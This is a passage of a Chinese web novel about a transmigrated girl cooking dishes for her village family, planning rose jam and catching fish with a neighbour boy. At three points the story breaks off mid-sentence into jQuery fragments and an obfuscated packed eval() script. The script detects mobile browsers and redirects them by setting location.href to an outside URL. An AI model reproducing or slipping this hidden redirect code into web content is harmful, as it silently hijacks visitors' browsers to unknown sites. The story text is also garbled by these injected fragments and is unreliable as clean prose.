$(''.inform'').remove(); $(''#content'').append('' 豆进去，看到土豆块中心的白点都消失了就马上捞起，这样的土豆刚断生，吃起来的口感生脆。 再把另一半土豆放进去，炸到金黄、一块块在油里飘着，才捞起来。 一半生脆，一半外壳炸的脆脆的，内里却已经熟透得冒着粉。 把两种土豆都放到盆中之后，又将豆腐块也放了进去，将豆腐炸的干干的，表面都泛着金黄，再捞起和土豆一起放到盆中。 她一股脑的将切好的调料末和腐乳水倒到盆里，土豆太多，只能找了个家中最大的勺子用力的在盆里搅拌。 朱红梅看到她这个样子，忍不住笑道：“芽芽这样子，不知道的还以为是在熬猪食呢。” 姜芽也觉得好笑，这还是她第一次一次性炸这么多土豆，她用筷子夹了一块尝了尝味道，又在里面加了些盐和花椒粉。 搅拌均匀的土豆上全是满满的调料，光是闻到那味道就已经忍不住要吃了。 姜芽叫江文毅直接将大盆搬了出去，一人发了一根竹签，自己也迫不及待的戳了一块放到嘴里。 土豆本身的香味，带着辣椒和花椒粉的辛香马上充斥在她的嘴里，腐乳汁已经渗入土豆肉里，把土豆的香气衬得更足了些。 她又用签子戳了一块，把签子上的那块土豆当成铲子，把盆沿上的各种调料堆在土豆上，再张大嘴巴一口吞进去，这样的土豆的混合着更多的调料，香得姜芽都说不出话来，只是眯着眼睛一块接一块的吃。 这炸土豆的美味瞬间征服了姜家的所有人。 姜文和戳了一块炸豆腐，发现这炸豆腐虽然和炸土豆一起搅拌出来的，却也别有一番风味，豆香味十足的同时，竟然和调料的香辣完美的融合在了一起，虽然外壳酥脆，内里却还是软乎乎的。 他赶紧给朱红梅也戳了一块：“红梅，你尝尝这豆腐，一点都不逊色！” 姜文兴虽然不怎么能吃辣，也被这盆炸土豆炸豆腐俘获了，一边嘶哈嘶哈的哈着气，一边又忍不住要再吃一块。 姜芽看他这个样子，给他递了个水囊，里面正是她早上剩的薄荷水：“大哥你试试，炸土豆和薄荷水是天下第一绝配。” 姜文兴赶紧将水囊接过去咕嘟咕嘟喝了几口，又吃了一块炸土豆，忍不住称赞道：“还真是绝配！芽芽，你这炸土豆和薄荷水一起卖，兴许能卖出去更多！” 他说的正是姜芽的想法，听到他说出来，姜芽假意咳嗽两声说：“那大哥觉得，要是我明日就在村中支个摊卖这个，会不会能赚钱？” 姜文兴正在喝水，姜齐飞抢在前面说：“这东西确实好吃，就是还是那句话，咱们村穷人多，就是一开始有人买，时日多了，也只会慢慢的卖不出去，这炸土豆要是在阳宁镇卖，兴许还是个能挣些钱的生意。” 他说的也有道理，姜芽点点头又问：“那爹，你觉得在咱们村能卖些什么类型的吃食？” 姜齐飞想了想，说：“携带方便的饼子或是面食，应该能长久的卖一卖。” 面食吗？姜芽低着头沉思，似乎又有了什么想法。 15. 傣味荷包蛋 姜芽已经习惯了在这个时代的生活了。 尤其是在村里，每天早上起来都能呼吸到新鲜空气，整个世界好像就是一个天然的大氧吧。 也真正的做到了日出而作日入而息，而姜芽的“作”，便是每天做出些新鲜的饭菜。 她早上还是先去送了薄荷水，看着时间还早，就到了刘石榴家门口等着他。 也没等多久，就看到刘石榴一边出门一边往院中高声喊了一句：“娘，我出去啦，跟姜芽姐姐去的。” 院里一个女人的声音回应：“哎！去吧，别到处乱跑就行，回来吃饭啊！” 刘石榴开心的笑着关门，转头看到姜芽，才把脸上的笑意敛了些，又挂上那副以为很像大人的表情。 姜芽给他递了个装着薄荷水的水囊：“本来就是个小屁孩，装什么大人？” 本来只是句随口的调侃，却没想刘石榴却突然低着头，手里扣着水囊上冒出的线头。 姜芽停下脚步，疑惑的看着他：“你怎么了？小孩的心事？” 刘石榴咬着嘴唇，好像下定了某种决心似的开口：“姜芽，你前几日是不是去了阳宁镇？” 怎么突然问到了阳宁镇？姜芽有些摸不着头脑，点点头：“对啊，怎么，你也想去吗？” 刘石榴扣着水囊的手越发用力，声音也低了些：“不是，我爹去阳宁镇做工了，你下次要是还去的话，能不能帮我去看看他，就跟他说，我在家里很乖，也帮娘干活了，村里也没人欺负我和娘。” 姜芽一副原来如此的表情：“原来你一直整着个大人的表情，也不跟其他小孩玩，是怕你爹不在村里，其他小孩欺负你？” 刘石榴脸刷的一下就红了，梗着脖子说：“你就说你帮不帮我？” 姜芽假装思考，看着刘石榴的神情越来越紧张，才笑出声来：“哈哈哈，帮你帮你，这点小忙，姜芽姐姐帮你了。” 刘石榴听到她答应了，这才放下心来，支支吾吾半天说句：“谢谢姐姐。” 姜芽大咧咧的摇摇手：“举手之劳举手之劳哈哈哈，快走吧，我还要去摸石头呢。” 刘石榴带着她来到了村外的小河边，指着小河：“我就是在这河里找到的那些石头。” 姜芽看着清澈见底的小河，河底各种花色、形状不一的石头隐约可见，她二话不说脱下沾了些黄泥的粉白鞋子，放到一边，挽起裤腿就下了水。 水并不深，只到姜芽的小腿，凉凉的十分舒服。 她弯腰往河底抓了几块石头，伸开手一看，确实有好几块石头圆圆光光滑滑的，正是刘石榴给她的那种。 “快帮我再找些，待会带着你娘去我家吃饭！”她看着岸边发呆的小孩，招呼他一起帮忙。 刘石榴哦了一声，往另一边寻了个石头多的地方，也下水摸了起来。 也就小半个时辰，两个人就找了一兜子石头，甚至还抓到了四五条小鱼。 姜芽就着河水又把石头冲洗了一番，抓到的几条鱼她也没要，给了刘石榴，让他回去让他娘晚上做给他们母子二人吃。 想到这石头将来的用处，在回家的路上，姜芽忍不住吹起了口哨，仔细听，好像还带着点小调。 刘石榴拿着那几条小鱼，快步跟在她身后，心中嘀咕着邻居这个姐姐好像有些不一样了。 到了刘石榴家门口，他又站在自家门口，犹豫着问：“待会是我和我娘，都来你家吃饭吗？” 姜芽看着这个凡事都带着些小心的小孩，肯定的说：“对啊，半个时辰之后，你尽管带着你娘过来，添两双筷子的事。” 刘石榴的脸上终于是带了些这个年龄该有的稚气，脚步轻快的回了家。 姜芽把石头放到院中，请张春兰把这些石头再仔仔细细洗一遍，自己则是进了厨房，准备做今天的午饭。 本来在他们这种人家，鸡蛋也不是随时能吃的，比如姜芽和王氏打架的那次，家里才煮了鸡蛋给她一个人吃。 可现在她刚在阳宁镇赚了一笔不少的银子，又买了母鸡回来，鸡蛋就可以多吃一些了。 她数了数吃饭的人，十一个人，每个人两个鸡蛋，就从抽屉里数了二十二个鸡蛋出来。 每次做饭都要做一大锅，她觉得自己都有些像食堂做饭的厨师了。 鸡蛋先放到一边，她把出门前请王迎春帮她准备好的胡萝卜和黄瓜切成丝，由于没有洋葱，只能找了根大葱切成葱丝。 再把西红柿切成块，接着把刘石榴给的大芫荽和普通香菜切一起切碎，最后切了几个辣椒放到一边。 把这些准备好，她才在锅中烧油，油热之后，她拿起一个鸡蛋在锅沿轻轻一磕，熟练的用拇指和食指一掰，鸡蛋就落在了油里。 边缘的蛋清刺啦一声，马上就卷了起来，很快变成金黄的弯边，蛋黄慢慢凝固，裹着一层油光，姜芽拿着锅铲，快速的绕着鸡蛋轻轻推动，也往蛋黄上浇了些油。 等鸡蛋的底面煎的脆黄，她用锅铲轻轻一翻，把鸡蛋的另一面放到油里，轻轻晃动着。 两面都煎得金黄之后，就将荷包蛋铲出来放到一旁，接着放下一个鸡蛋。 等二十二个荷包蛋都煎好，姜芽的小脸上都流了些汗。 她拿出先前王迎春帮她找出来的舂臼，现在里面放了几颗剥了皮的大蒜和辣椒，用杵子用力的在里面捣，把大蒜和辣椒都捣碎之后，再把西红柿和葱丝、胡萝卜丝、黄瓜丝放进去捣了几下。 西红柿的汁水和配料混合在一起之后，再把荷包蛋、大芫荽、香菜一股脑倒进去。 本来是需要柠檬的，可惜没有，她只能往里面滴了几滴醋，又加了一点点酱油和盐，先用杵子在舂臼里面搅拌了几下，才再次用力的在里面捣。 捣，也叫做舂，辣椒粉也就是用这种舂臼舂出来的。 舂了不知道多少下，姜芽才停下了手，她甩了甩有些酸痛的手腕，看着舂臼里的荷包蛋，蛋黄和蛋白都已经充分吸收了配菜的汁水，染了些红色。 她往里面撒了一把花生碎，用杵最后搅了搅，连同舂臼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371734|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起端到了外面的桌子上。 刘石榴正巧带着他娘过来了，本来让他带回去晚上自己做的小鱼，也被他娘做了个汤端了过来。 他娘叫张巧兰，带着些雀斑的脸上带着些局促，手搓着衣角说：“姜哥姜嫂，我家这石榴不懂事，非说要带着我过来吃饭，真是……” 浦树巧将她手上的鱼汤接了过来，拉着她坐下说：“别说这些，咱们两家本来挨得就近，按理说是该多走动走动的，只是我家向来也吃不上什么好东西，也不好请你们过来。” 姜芽朝张巧兰笑：“婶婶，石榴可是帮了我大忙，请你们过来吃饭是应该的啦！” 听到姜芽夸刘石榴，张巧兰笑着摸摸他的头：“石榴这孩子懂事的早，要是能帮上你们一点忙，自然是最好的了。” 姜文毅已经搓着手看着舂臼里花花绿绿的舂荷包蛋了，眼看着他们只说话不吃饭，虽然心里急，但碍于有客人在场，也不好打断。 姜齐飞作为一家之主，适时的咳了一声：“石榴娘，赶紧尝尝我家芽芽的手艺吧，这东西我们也都没吃过。” 准备和浦树巧再拉拉家常的张巧兰这才想起来桌子上还放着饭菜，赶紧说：“你瞧我，尽顾着说话了。” 她是客人，所以先夹了一块荷包蛋，却没马上吃到嘴里，而是仔细看了看才说：“这是……？” “舂荷包蛋！”姜芽马上回答了她的问题。 张巧兰有些惊讶：“荷包蛋也能舂？” 然后咬了一口荷包蛋，这一口下去，荷包蛋中的酸辣的汁水马上流了出来，再加上蛋黄的绵和蛋白的嫩，让她完全没办法停下来。 姜文毅直接一口吞了一个荷包蛋，他这一口更是实在，酸辣味，荷包蛋的香味，胡萝卜和黄瓜丝的清香味混在一起，还嚼到了两粒干香的花生，直到整个荷包蛋都咽了下去，他的唇齿间都还留着那股酸辣劲。 相较于姜家人已经吃过不少姜芽的菜式，张巧兰和刘石榴显得更为惊喜。 一边觉得这是在别人家，不应该吃那么多，一边又觉得这东西实在是太好吃，忍不住要再吃一些。 最后舂臼里还剩了些底料，姜文毅直接将舂臼拿起来，把里面的杂七杂八的配料连同汁水一起倒到饭上，再把饭和这些东西拌在一起，只用了三五口就扒拉的干干净净。 张巧兰做的鱼汤也一人分到了一小碗。 这顿饭也算吃得扎实 张巧兰见张春兰收拾碗筷，也要上前帮忙，却被姜家人拦了下来。 浦树巧拉着她的手，热络的说：“巧兰妹子，这些事就让孩子去做吧，咱们俩刚才话还没说完，走，咱们去那边说。” 张巧兰也不好推脱，和浦树巧也实在是聊得来，转头嘱咐了一声：“石榴，看着你哥哥姐姐们有什么事就帮帮忙。”就和浦树巧进了屋子说话去了。 王迎春实在是喜欢吃这舂荷包蛋，拉着姜芽就各种讨教这道菜的做法。 时间就这样过去，而姜芽想去阳宁镇的想法，也越来越强烈了。 16. 玫瑰酱（一） 转眼间，日子也过到了六月，天气也越发的炎热了。 这些日子，姜芽除了在厨房忙活，其余时候手里总攥着把蒲扇，走到哪扇到哪。 姜家和隔壁刘家的关系也越来越好，时常都会有些走动。 刘石榴也时不时的会给姜芽送些菜来，碰上姜芽刚好做了些什么好吃的，也会让他带着些回去。 村里的人都知道，姜家的小女儿颇有做饭的天赋，有时候还会有人来问她什么时候做一些便宜好拿的东西到村里卖一卖。 姜芽也确实把这件事放在了心里，只是一直没有找到什么很好的食材。 她会做的菜大多都是适合在食肆或是酒楼饭馆里面卖的。 而这天，她正在院中乘凉，突然发现自家院子中的那几株花开了，之前她没怎么留意过墙角这几株植物，也没想着自家院里还种着花。 她凑上去看那花，茎上带着刺，外层的花瓣有些淡粉，里层的颜色要更深些。 她闭着眼睛深深嗅了一口，那花香带着些甜香，这花分明就是玫瑰。 一旁的王迎春见她在玫瑰花那待了许久，只以为是小姑娘天生对花的喜爱，她站在姜芽身后说：“这花好养，花香味又好闻，是你二哥二嫂成亲的时候，你二哥不知从哪弄回来种在院子里的。” 姜芽看了看面前的花，有些诧异的说道：“没想到我二哥看起来是个大老粗，力气大吃的多，没想到还是个浪漫的人。” 王迎春听不懂她说的浪漫是什么意思，但也能听出她话里的打趣。 她指尖轻轻触了触玫瑰花瓣：“你二嫂对这几棵花可是喜爱的紧，有时候家中没事，她拎把椅子来坐在这一看就能看几个时辰。” 听到张春兰这么喜欢这玫瑰，姜芽倒是有些犯难了，她不是多喜欢这玫瑰花，而是想用这玫瑰花做些东西。 可听王迎春的话，这花是二嫂最宝贝的东西，要是贸然开口要，会不会不太好？ 一时间姜芽也有些拿不定主意，但玫瑰花就在眼前，要是能拿来用，真是能做许多东西，一时间她也急得抓耳挠腮。 王迎春看着她这样子，忍不住问：“芽芽你这是怎么了？在这想什么呢？” 思来想去，姜芽还是觉得不能夺人所爱，要是她真去问张春兰了，作为她的二嫂，张春兰十有八九会把这些花送她，可是她并不想这样得到这些花。 所以她只是大大的叹了口气：“唉，没事，想起了些事情罢了。” 二人正在这说着话，张春兰也刚好拿着个竹筛走了过来，看到她们正对着那玫瑰说这些什么，也好奇的问：“大嫂，芽芽，你们在说什么呢？” 姜芽赶紧指着玫瑰花说：“二嫂，我们在说二哥真是粗中有细，送你这花开的真好看！” 张春兰歪着头看着那些玫瑰，笑：“你喜欢这花吗？我正准备摘了呢，要不给你留几朵看看？” “你要摘了！？”姜芽不由自主的提高的声音：“你不是特别喜欢这个花吗？” 张春兰上前摘下一朵闻了闻：“我是喜欢这花，可是前些日子听老三说在阳宁镇上看到有人将这花晒干可以泡茶喝，我想着花我年年看也看腻了，不如也摘了晒一晒，看看泡水好不好喝。” 听到这，姜芽刚才的顾虑被完全打消了，她拉着张春兰的手晃着说：“二嫂二嫂，要是这花你打算全摘了，我倒是有个办法！” 张春兰低头看着她这撒娇的样子，自然知道她肯定又有了什么点子 “什么办法？” 姜芽有些兴奋的看着玫瑰花：“这花我能试着用它们的杆子培育几株新的，到时咱们既能赏花，也能用这花做些别的。” 张春兰一拍大腿：“要是能培育些新的自然是最好的，到时咱们可以多晒些拿出去卖些银两回来！” 旁边的王迎春却听出了姜芽话里的意思，问：“那芽芽，你说的做些别的是？” 姜芽也摘下了一朵玫瑰放在手心：“可以把它们做成玫瑰花酱，还可以做鲜花饼吃！” 听到玫瑰有这么多用处，张春兰眼睛都亮了，玫瑰也不摘了，直接把竹筛放到姜芽手里：“芽芽，你说的这个玫瑰花酱和鲜花饼，听起来就比用这花泡水喝强，这花就交给你来弄了，要是有什么要我帮忙的你尽管叫我！” 玫瑰花的处置权就这样交到了姜芽手上。 她自然是十分兴奋，拉着两个嫂子就开始摘玫瑰，一边摘还一边说：“二嫂放心，我做的这玫瑰花酱，也可以泡水喝，而且还甜滋滋的！” 张春兰摘下一支带着一朵开的鲜艳玫瑰的花枝，随手插到姜芽的小辫子里：“好好好，就你会弄这些，这些花能有这么多用处，也算当初文毅花这么老些钱买的值当了！” 姜文毅扛着钉耙从外面回来，一看见几人在摘玫瑰，急得大声喊：“你们在干什么！！！怎么在摘我的花！1” 他嗓门本就老大，这么一喊，不仅家里的人也被喊了出来，就连旁边的刘家也听到了声音，还以为姜家是不是吵架了，刘石榴都被他娘叫过来看看是不是有什么事。 张春兰看看手里的玫瑰，又看看急得面红耳赤的姜文毅 “你急什么？这花不是我的吗？怎么又是你的了？” 姜文毅两只手攥成了拳，头上还流着汗 “是你的！那为什么要把我送你的花摘了！是我前几日说话得罪你了吗？那你也不要把这些花都摘了啊，你说说，这花又不是能吃，摘下来又有什么用？还有旁边这几棵，都是我好不容易才培育出来的！” 看他越说越着急，好像真的以为张春兰是因为生了他的气才跑到院子里摘花的。 张春兰看着自己的丈夫，忍不住噗嗤一声笑了出来：“谁跟你生气了，又是谁说这花不能吃了，今日我本就是想将这些花摘下来晒干泡水喝，正巧芽芽说她能用这些花做好多东西……” 听着张春兰将为什么摘花从头到尾说了一遍，气呼呼的姜文毅的气焰才消了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378432|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，他跟在张春兰旁边哄着她：“哎呀，我就是以为你是因为生气才摘的花嘛，所以嗓门才大了些……” 他跟在张春兰背后，姜芽却也跟在他背后，伸出手戳戳他的背小声说：“二哥，二哥！” 姜文毅回头看着只长到他肚子那么高的姜芽：“咋啦？” 姜芽把手里的竹筛放到一边，指着玫瑰花问：“方才我听你说，那另外几株玫瑰花，是你自己培育的？” 听到这个，姜文毅的脸上浮起一丝骄傲：“对啊，有一次我剪了一枝放到水里，想着看看会不会长根，没想到还真的长了，我就把那长了根的花枝栽到土中，你看，这几棵就比那一棵大的要矮一些。” 确实，这几棵玫瑰花中是有一颗长的不仅高了许多，杆子也粗了一些。 这可帮了姜芽的大忙。 她本想着，想要玫瑰花多一点，那肯定是要再去买一些，或者自己培育，她倒是知道培育的理论知识，可不管怎么说都没有实践过，现在好了，姜文毅既然已经做成功了，就能把培育玫瑰花的事交给他了。 姜芽一手拉着张春兰，一手扯着姜文毅的袖子：“太好啦，二哥，你再帮我培育一些玫瑰，我保证用这些花做出你爱吃的东西！大嫂二嫂，咱们就一起摘玫瑰！” “对了，还有你！”她朝一直站在门后看热闹的刘石榴招招手：“既然来了，也来一起帮忙！” 这一个多月的相处，刘石榴和姜芽也相熟了许多，听到姜芽喊他，也从门后走了出来，帮着一起摘玫瑰。 其实就眼前这几棵玫瑰对于姜芽来说远远不够，但她现在也不敢奢求太多，只想着要是能把手里的这些玫瑰做好，以后就不愁没东西卖了。 朱红梅本来出去串门，回来看到家里的人都在热火朝天的干着什么，撸起袖子就走过来 “你们这是在做什么呢?我也来一起！” 姜芽看到她，眼睛一亮：“三嫂！我还有事要你帮忙！” 说着对着她耳语了几句，又带着她和浦树巧进屋去拿了些什么，出来之后就看着朱红梅叫上站在一边的姜文和出门去了。 培育玫瑰也不是现在马上就能做的事，摘玫瑰花又怕自己把花弄坏了，姜文毅正百无聊赖的看着她们采花，瞥见姜文和夫妻二人出去，赶紧跟了上去：“老三，芽芽神秘兮兮的叫你们去干什么？带我也去！” 朱红梅紧了紧自己的外衫：“二哥，你就好好在家研究你的那个花吧，芽芽这东西做的没那么容易，但要是做成了，以后说不定就等着你这些花来用了。” 姜文毅一听自己的花有这么大用处，也不跟着去了，拉着姜齐飞就说：“爹！你来和我看看，这玫瑰花要剪哪几枝会好些？” 刘石榴没见过玫瑰，刚伸手要去摘，就看到玫瑰杆子上的刺，吓得缩了缩手。 在他旁边的姜芽看到，出声提醒：“看到了吧，漂亮的东西就是带刺的，你小心些，等我的玫瑰花酱做出来，就送你一瓶。” 17. 玫瑰酱（二） 人多干活就是快，没多久玫瑰花就摘得差不多了，只剩几枝还带着几朵花的枝条。 姜芽找了个大盆放到脚边，带着大伙将玫瑰的花瓣一片一片的摘了下来放到盆里。 摘花瓣比摘花费劲的多，幸好大家都围坐在一起，嘴里聊着些家常，倒也没那么无聊。 摘花瓣的时候，玫瑰的香气也越来越浓郁，姜芽忍不住深吸了几口气，已经开始在想她的这个玫瑰酱做出来该有多香了。 王迎春手里麻利的把一朵玫瑰的花瓣轻轻的摘下，嘴里问着姜芽这个玫瑰酱的制作方法。 姜芽捧起一把花瓣，看着深红色的玫瑰，说：“这个酱其实做法不简单，等我做的时候再一步一步的跟你说，要是以后二哥能多培育些玫瑰出来，说不定咱们就可以多做一些带到阳宁镇去卖了。” 她这个主意虽是个好主意，但毕竟玫瑰酱在这个时代的受欢迎程度她自己心里也没底，只想着等做成之后自己家里先尝一尝，要是大家都觉得味道不错，那再找个时间把酱背到阳宁镇上去。 正好她对自己的小生意也有了一点点初步的规划。 玫瑰花瓣都摘得差不多了，刘石榴一直一声不吭的帮着忙，看着摘完之后就直接站起来跟姜芽说：“我该回去了，我娘在做饭了。” 姜芽抬起头，正好能看到刘石榴家的烟囱冒着烟，本来也不需要他来帮什么忙，只是姜芽总觉得太懂事的小孩会更让人心疼，所以找个理由让他来做点活，好给他家分些吃食。 她把先前王迎春插在自己辫子上的那枝花取下来，递给刘石榴：“呐，可香了，拿回去送你娘，让她把花杆放水里养着，还能开好几天呢。” 刘石榴点头接过花，就小跑着回了家。 等花瓣全部摘完，姜芽从大水缸里舀了好几瓢水，直到把花瓣完全淹没，再伸手进去开始淘洗。 只淘洗了一遍，她就赶紧将花瓣捞了出来，一把一把的将花瓣上的水拧出来，这花毕竟是种在自家院里的，也不会太脏。 接着她就带着两个嫂子，把拧干水的花瓣重新晾在了竹筛上沥水晾晒，花瓣要是在水中泡的久了，香气就不会那么足了，所以得抓紧时间将它们晾好。 浦树巧见几人对着玫瑰花忙活得起劲，早已进了厨房炒了几个小菜，见花瓣都晾好了，才招呼着大家吃饭：“赶紧先来吃饭吧，吃完了再继续干。” 自从姜芽把两道菜卖出了“天价”之后，家中的生活确实也有了些改善，倒不说顿顿都能吃上肉，至少时不时的也能吃上些鸡蛋，米也不用煮的那么稀了。 她吃饭的时候显然有些心不在焉，心思还在院中晾晒着的那些花瓣上。 而直到吃完饭，姜文和和朱红梅都还没有回来。 张春兰一边收拾着碗筷一边问：“芽芽，三弟和三弟妹这是去哪了，怎得现在都还没有回来？” 姜芽回过神来，看着家门的方向说：“我请她们去隔壁村帮我收些东西回来，东西有些多，他们应该要晚上才能回来了。” 今天的天气好，赶在太阳落山之前，花瓣里的水分就已经晒的差不多了，朱红梅和姜文和也拎着些东西回到了家。 姜文和一回家就看到院子里几个竹筛上晾着的花瓣，都不需要特地去闻，玫瑰的香味就已经钻进了鼻孔。 朱红梅把手上的东西放到姜芽面前，笑呵呵的说：“芽芽，你说的东西我都尽量帮你找来了，你看看有没有少了什么。” 姜芽赶紧把那些东西一一打开，最大的一个纸包里是有些粗糙的糖，但是在隔壁村就能收到这么多，已经是姜芽的意外之喜了。 另外还有一个包的严严实实的陶瓷罐子，她把罐子口上的绳子解开，凑近一看，里面满满的都是金黄的蜂蜜，像是凝固的凝脂，而蜂蜜的面上，像是有一层薄薄的纱，这蜂蜜只光是看就能看出来是极好的蜂蜜，更别说是以前生活在现代的姜芽，她还是第一次见那么纯的蜂蜜。 其他的东西就还有几个并不精致的陶瓷罐子，这是她请朱红梅买来装玫瑰酱用的。 她满意的把蜂蜜罐子轻轻放到地上，对着朱红梅甜甜的笑：“谢谢三嫂！我就知道这些东西就得你去帮我收，三哥脸皮薄，又不会还价……” “你就是说三嫂我脸皮厚咯？”朱红梅挑眉逗她，却又把腰上挂着的一个不起眼的布袋子取下来递给了她。 姜芽解释着：“我才没有这种意思！我是说三嫂你厉害！要是以后有什么生意做，一定是交给你去做，你这性子最好做这些了，热情大方又没人敢欺负，咦，这是什么？” 她把布袋子接过来，打开一看，里面居然是许多个浅黄色的柠檬，她本来就是没报希望的跟朱红梅形容了一下柠檬的外貌的口感，没想着朱红梅还真的把柠檬都找到买回来了。 她猛地跳起来抱住朱红梅的腰，欢喜的喊：“三嫂你简直太厉害了！这东西你都能帮我收到！三嫂三嫂你真好！” 朱红梅被姜芽夸得心花怒放，乐呵呵的说：“听你跟我说什么柠檬柠檬，我也没听说过这玩意儿，只是想着你说这味道不就是黎朦子吗？只是这东西在咱们村确实也没人种，只有哪家媳妇儿有孕了爱吃酸的，便会去其他村收几个回来，其他时候这东西又不能做饭吃着又酸涩，根本没人愿意吃。” 姜芽看着眼前的这一堆东西，就像看着一大堆宝贝，本来已经蠢蠢欲动的准备开干了。 却看到现在天色也有些晚了，只能将自己的激动按了下来，把朱红梅带回来的东西整整齐齐的收到了厨房的柜子里说：“咱们明日就开始做玫瑰酱！顺便再用这玫瑰做点别的东西。” 晚饭过后，姜芽闻着玫瑰花的香气，在姜文毅用竹子给她编的躺椅上闭眼躺着，手中的扇子时不时的往腿上和胳膊上拍一拍，赶走那些可恶的蚊子。 在她的家乡，玫瑰就是一种特别的食材，也是以玫瑰做出的各种食品闻名的。 今天对着这些花忙活了一天，到这个时候才安静下来，反倒让她想起了自己的家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385291|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想家吗？好像也不是很想，只是突然有些慌神，突然想到自己穿越到了这个地方，也不知道自己的□□现在究竟是个什么状态。 或许现在的一切只是她做的一个长长的梦，等梦醒了，她还是那个二十四岁的现代打工牛马，下班回家之后还要做饭拍摄视频倒腾自己的视频账号。 每次做好饭，一个人看着一桌子特色的美食，反而没有了什么胃口。 她不知道为什么今天会想的这么多，甚至有些小小的伤感。 只是她突如其来的情绪并没有持续多久，就听到院子门口有轻轻的脚步声越走越近。 “姜芽姐姐，你醒着吗？”是刘石榴的声音，这小孩子现在喊姐姐哥哥叔叔婶婶的倒是越来越顺口了。 姜芽把自己的情绪收了起来，睁开眼，拿着扇子招呼刘石榴过来：“咋了？天都黑了你来我家找我干什么？” 刘石榴走到她跟前，肥肥的小手伸到她耳边说：“你前阵子不是让我带你去摸大鱼吗？咱们村那条河白天不好摸鱼，我问了我娘了，说是晚上去说不定能抓到大鱼呢。” 听到这，姜芽马上从躺椅上坐直了身子：“当真能抓到？” 刘石榴犹豫了几秒：“我娘说的，她说爹在家的时候晚上就去河里摸到过大鱼，那日我跟她说起你想抓鱼的事她才告诉我的。” 既然他都这么说了，姜芽马上就站了起来，进屋跟爹娘说了要去河边之后，就从家里拿了两个背篓，顺手塞了半个馒头在兜里，跟着刘石榴往河边去了。 天黑之后的村中，静悄悄黑漆漆的，到了河边，更是只能听到水流声。 两人摸着黑拖鞋下了水，接着月光看着河里有没有鱼的影子。 先前姜芽也听姜文和说过，晚上抓的鱼反应会慢一些，但是要看准，只要看到有鱼觅食，就要快速的把背篓放下去抓。 眼见看不到鱼的影子，姜芽才将那半块馒头拿出来，在手中捻成馒头碎，撒了些在河面上。 没过多久，果然看到了河里有一个比巴掌大的影子游了过来，姜芽不敢挪动脚步，只能屏气凝神的将手中的背篓往那黑影的背后一扣，再一提，两人赶紧把头凑到背篓那看。 居然空空如也！ 姜芽噘了噘嘴，不服气地小声嘀咕着：“刚才我明明就看到鱼了！” 刘石榴刚才也看到了鱼，他戳戳姜芽的手臂，给她打了个手势，示意姜芽撒馒头末，他来抓。 姜芽会意，在水中重新找了个地方，往水面上又撒了些馒头末。 刘石榴站在另一边，两只眼睛直勾勾的看着水下的动静，生怕错过了一条大鱼。 果然，馒头刚撒下去，就有鱼闻着味道游了过来。 姜芽不敢再下手，只能紧紧的盯着那黑色的影子，心里给刘石榴打着气。 刘石榴虽然体型胖墩墩的，反应倒是极快，果断的用背篓往鱼身上一扣。 再提起来的时候，两人都听到了背篓里扑腾扑腾的声音。 18. 玫瑰酱（三） 听竹篓里的声音，姜芽想着应该是抓到鱼了。 她兴奋地把头凑到竹篓上方往里看，虽然看不太清，却能看到里面正在扑腾的两条鱼，差不多有她小臂那么大。 “太好了！没想到这河虽然不深，但是还真能抓到大一些的鱼！”她抱着背篓傻笑，虽然是刘石榴动的手，但这也算是她第一次抓到鱼。 刘石榴往岸边走了几步，招呼她上岸：“姜芽姐，先上来吧。” 姜芽这才反应过来，在河里泡了许久，自己的脚应该都泡得有些发白了。 她慢步走到岸上，这鱼有两条，她拿了一条放到自己的背篓中背到背上，另一条连同着刘石榴的背篓一起还给了他。 “呐，咱们俩一人一条，拿回去给你娘看看，咱们俩人还是有点子抓鱼的天赋在身上的！” 没想到刘石榴接过背篓，却把自己那条鱼拿出来，踮着脚放进了姜芽的背篓里。 “我娘说了，要是我们抓到了鱼就都给你带回去，你做的时候我们一起去吃一些就好了，你做法的点子多，我们来吃也方便。” 姜芽愣了一下，却也没拒绝，她向来是个有什么说什么的性子，既然人家都这么说了，有如在这推三阻四，还不如直接把两条鱼都拿回去，给大伙好好的做一顿香喷喷的饭来的实在些。 回家的步伐比来的时候明显要快了许多，主要是姜芽想快些回家找水先把这鱼养起来，这两条鱼对于她来说来的并不算很容易。 刘石榴本来就有些胖，再加上个头又比姜芽小了些，只能哼哧哼哧的快步跟在她后面。 “姜芽姐。”他有些气喘的喊了姜芽一声。 姜芽这才反应过来自己带着的是个比现在的自己更小的小孩子，马上停下了脚步有些不好意思的说：“哈哈哈，不好意思啊石榴，我忘了你跟不上我了。” 